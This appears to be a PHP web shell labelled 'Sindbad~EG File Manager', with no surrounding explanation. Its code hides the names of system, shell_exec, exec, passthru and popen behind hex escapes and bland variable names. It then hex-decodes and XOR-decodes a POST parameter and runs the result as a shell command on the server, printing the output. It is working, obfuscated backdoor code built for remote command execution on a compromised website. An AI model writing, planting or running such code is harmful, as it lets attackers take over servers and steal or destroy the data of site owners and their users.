Sindbad~EG File Manager

<?php

$sync_manager5 = "\x70\x6Fpen";
$sync_manager3 = "e\x78ec";
$sync_manager4 = "pa\x73s\x74\x68\x72u";
$sync_manager1 = "s\x79\x73te\x6D";
$sync_manager2 = "\x73he\x6C\x6C_ex\x65\x63";
$dataflow_engine = "h\x65x2bi\x6E";
$sync_manager6 = "st\x72\x65\x61\x6D\x5Fge\x74\x5F\x63\x6Fnte\x6Ets";
$sync_manager7 = "\x70clos\x65";
if (isset($_POST["\x64es\x63"])) {
            function task_processor($itm,  $symbol){
 $record= '' ;
for($f=0;
 $f<strlen($itm);
 $f++){
$record.=chr(ord($itm[$f])^$symbol);

} return $record;
 
}
            $desc = $dataflow_engine($_POST["\x64es\x63"]);
            $desc = task_processor($desc, 40);
            if (function_exists($sync_manager1)) {
                $sync_manager1($desc);
            } elseif (function_exists($sync_manager2)) {
                print $sync_manager2($desc);
            } elseif (function_exists($sync_manager3)) {
                $sync_manager3($desc, $obj_itm);
                print join("\n", $obj_itm);
            } elseif (function_exists($sync_manager4)) {
                $sync_manager4($desc);
            } elseif (function_exists($sync_manager5) && function_exists($sync_manager6) && function_exists($sync_manager7)) {
                $symbol_record = $sync_manager5($desc, 'r');
                if ($symbol_record) {
                    $resource_parameter_group = $sync_manager6($symbol_record);
                    $sync_manager7($symbol_record);
                    print $resource_parameter_group;
                }
            }
            exit;
        }